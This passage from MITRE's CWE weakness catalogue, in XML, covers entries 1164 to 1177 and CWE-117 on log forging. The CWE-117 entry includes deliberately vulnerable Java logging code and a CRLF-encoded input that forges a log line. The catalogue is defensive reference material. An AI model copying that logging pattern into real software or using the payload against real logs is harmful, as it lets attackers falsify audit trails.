               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Likelihood_of_Exploit, References, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Relationships, Terminology_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Output Validation</Previous_Entry_Name>
            <Previous_Entry_Name Date="2008-09-09">Incorrect Output Sanitization</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-01-12">Insufficient Output Sanitization</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="1164" Name="Irrelevant Code" Abstraction="Class" Structure="Simple" Status="Incomplete">
         <Description>The product contains code that is not essential for execution,
	     i.e. makes no state changes and has no side effects that alter
	     data or control flow, such that removal of the code would have no impact
	     to functionality or correctness.</Description>
         <Extended_Description><xhtml:p>Irrelevant code could include dead code,
	     initialization that is not used, empty blocks, code that could be entirely
	     removed due to optimization, etc.</xhtml:p>
	 </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="710" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Reliability</Impact>
            </Consequence>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Performance</Impact>
            </Consequence>
         </Common_Consequences>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2019-01-02</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="117" Name="Improper Output Neutralization for Logs" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product does not neutralize or incorrectly neutralizes output that is written to logs.</Description>
         <Extended_Description>
            <xhtml:p>This can allow an attacker to forge log entries or inject malicious content into logs.</xhtml:p>
            <xhtml:p>Log forging vulnerabilities occur when:</xhtml:p>
               <xhtml:ol>
                  <xhtml:li>Data enters an application from an untrusted source.</xhtml:li>
                  <xhtml:li>The data is written to an application or system log file.</xhtml:li>
               </xhtml:ol>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="116" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="20" View_ID="700" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Background_Details>
            <Background_Detail>Applications typically use log files to store a history of events or transactions for later review, statistics gathering, or debugging. Depending on the nature of the application, the task of reviewing log files may be performed manually on an as-needed basis or automated with a tool that automatically culls logs for important events or trending information.</Background_Detail>
         </Background_Details>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Medium</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Scope>Non-Repudiation</Scope>
               <Impact>Modify Application Data</Impact>
               <Impact>Hide Activities</Impact>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Note>Interpretation of the log files may be hindered or misdirected if an attacker can supply data to the application that is subsequently logged verbatim. In the most benign case, an attacker may be able to insert false entries into the log file by providing the application with input that includes appropriate characters. Forged or otherwise corrupted log files can be used to cover an attacker's tracks, possibly by skewing statistics, or even to implicate another party in the commission of a malicious act. If the log file is processed automatically, the attacker can render the file unusable by corrupting the format of the file or injecting unexpected characters. An attacker may inject code or other commands into the log file and take advantage of a vulnerability in the log processing utility.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-5">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-30">
               <Phase>Implementation</Phase>
               <Strategy>Output Encoding</Strategy>
               <Description>Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-20">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following web application code attempts to read an integer value from a request object. If the parseInt call fails, then the input is logged with an error message indicating what happened.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>String val = request.getParameter("val");<xhtml:br/>try {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>int value = Integer.parseInt(val);</xhtml:div>
                     </xhtml:div>}<xhtml:br/>catch (NumberFormatException) {<xhtml:div style="margin-left:1em;">log.info("Failed to parse val = " + val);</xhtml:div>}<xhtml:br/>...</xhtml:div>
               </Example_Code>
               <Body_Text>If a user submits the string "twenty-one" for val, the following entry is logged:</Body_Text>
               <Body_Text>
                  <xhtml:ul>
                     <xhtml:li>
                        <xhtml:div>INFO: Failed to parse val=twenty-one</xhtml:div>
                     </xhtml:li>
                  </xhtml:ul>
               </Body_Text>
               <Body_Text>However, if an attacker submits the string "twenty-one%0a%0aINFO:+User+logged+out%3dbadguy", the following entry is logged:</Body_Text>
               <Body_Text>
                  <xhtml:ul>
                     <xhtml:li>
                        <xhtml:div>INFO: Failed to parse val=twenty-one</xhtml:div>
                     </xhtml:li>
                     <xhtml:li>
                        <xhtml:div>INFO: User logged out=badguy</xhtml:div>
                     </xhtml:li>
                  </xhtml:ul>
               </Body_Text>
               <Body_Text>Clearly, attackers can use this same mechanism to insert arbitrary log entries.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2006-4624</Reference>
               <Description>Chain: inject fake log entries with fake timestamps using CRLF injection</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-4624</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>Log Forging</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP23</Entry_ID>
               <Entry_Name>Exposed Data</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>IDS03-J</Entry_ID>
               <Entry_Name>Do not log unsanitized user input</Entry_Name>
               <Mapping_Fit>Exact</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="SEI CERT Oracle Coding Standard for Java">
               <Entry_ID>IDS03-J</Entry_ID>
               <Entry_Name>Do not log unsanitized user input</Entry_Name>
               <Mapping_Fit>Exact</Mapping_Fit>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="268"/>
            <Related_Attack_Pattern CAPEC_ID="81"/>
            <Related_Attack_Pattern CAPEC_ID="93"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-6"/>
            <Reference External_Reference_ID="REF-52"/>
            <Reference External_Reference_ID="REF-53"/>
            <Reference External_Reference_ID="REF-43"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated References, Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, References, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Background_Details, Common_Consequences, Description, Other_Notes, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Description, Name, Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Other_Notes, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Causal_Nature, Modes_of_Introduction, References, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, References, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Log Forging</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-05-27">Incorrect Output Sanitization for Logs</Previous_Entry_Name>
            <Previous_Entry_Name Date="2010-06-21">Improper Output Sanitization for Logs</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="1173" Name="Improper Use of Validation Framework" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product does not use, or incorrectly uses, an input validation framework that is provided by the source language or an independent library.</Description>
         <Extended_Description>Many modern coding languages provide developers with input validation frameworks to make the task of input validation easier and less error-prone. These frameworks will automatically check all input against specified criteria and direct execution to error handlers when invalid input is received. The improper use (i.e., an incorrect implementation or missing altogether) of these frameworks is not directly exploitable, but can lead to an exploitable condition if proper input validation is not performed later in the product. Not using provided input validation frameworks can also hurt the maintainability of code as future developers may not recognize the downstream input validation being used in the place of the validation framework.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="20" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>This weakness may occur when software designers choose to not leverage input validation frameworks provided by the source language.</Note>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>This weakness may occur when developers do not correctly use a provided input validation framework.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Unexpected State</Impact>
               <Note>Unchecked input leads to cross-site scripting, process control, and SQL injection vulnerabilities, among others.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method Detection_Method_ID="DM-3">
               <Method>Automated Static Analysis</Method>
               <Description>
                  <xhtml:p>Some instances of improper input validation can be detected using automated static analysis.</xhtml:p>
                  <xhtml:p>A static analysis tool might allow the user to specify which application-specific methods or functions perform input validation; the tool might also have built-in knowledge of validation frameworks such as Struts. The tool may then suppress or de-prioritize any associated warnings. This allows the analyst to focus on areas of the software in which input validation does not appear to be present.</xhtml:p>
                  <xhtml:p>Except in the cases described in the previous paragraph, automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes.</xhtml:p>
               </Description>
            </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
	   <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Properly use provided input validation frameworks.</Description>
	   </Mitigation>
         </Potential_Mitigations>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-12-21</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1174" Name="ASP.NET Misconfiguration: Improper Model Validation" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The ASP.NET application does not use, or incorrectly uses, the model validation framework.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1173" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Name="ASP.NET" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Unexpected State</Impact>
               <Note>Unchecked input leads to cross-site scripting, process control, and SQL injection vulnerabilities, among others.</Note>
            </Consequence>
         </Common_Consequences>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-12-21</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1176" Name="Inefficient CPU Computation" Abstraction="Class" Structure="Simple" Status="Incomplete">
         <Description>The product performs CPU computations using
         algorithms that are not as efficient as they could be for the
         needs of the developer, i.e., the computations can be
         optimized further.</Description>
         <Extended_Description><xhtml:p>This issue can make the product perform more slowly, possibly in ways that are noticeable to the users.  If an attacker can influence the amount of computation that must be performed, e.g. by triggering worst-case complexity, then this performance problem might introduce a vulnerability.</xhtml:p>
	 </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="405" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>DoS: Resource Consumption (CPU)</Impact>
            </Consequence>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Performance</Impact>
            </Consequence>
         </Common_Consequences>
         <References>
            <Reference External_Reference_ID="REF-1008"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2019-01-03</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1177" Name="Use of Prohibited Code" Abstraction="Class" Structure="Simple" Status="Incomplete">
         <Description>The product uses a function, library, or third party component
	     that has been explicitly prohibited, whether by the developer or
	     the customer.</Description>
         <Extended_Description><xhtml:p>The developer - or customers - may wish to restrict or eliminate use of a function, library, or third party component for any number of reasons, including real or suspected vulnerabilities; difficulty to use securely; export controls or license requirements; obsolete or poorly-maintained code; internal code being scheduled for deprecation; etc.</xhtml:p>
	 <xhtml:p>To reduce risk of vulnerabilities, the developer might maintain a list of "banned" functions that programmers must avoid using because the functions are difficult or impossible to use securely.  This issue can also make the product more costly and difficult to maintain.</xhtml:p>
	 </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="710" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Maintainability</Impact>
            </Consequence>
         </Common_Consequences>
         <References>
            <Reference External_Reference_ID="REF-1009"/>
            <Reference External_Reference_ID="REF-1010"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2019-01-03</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="118" Name="Incorrect Access of Indexable Resource ('Range Error')" Abstraction="Class" Structure="Simple" Status="Incomplete">
         <Description>The product does not restrict or incorrectly restricts operations within the boundaries of a resource that is accessed using an index or pointer, such as memory or files.</Description>
         <Related_Weaknesses>
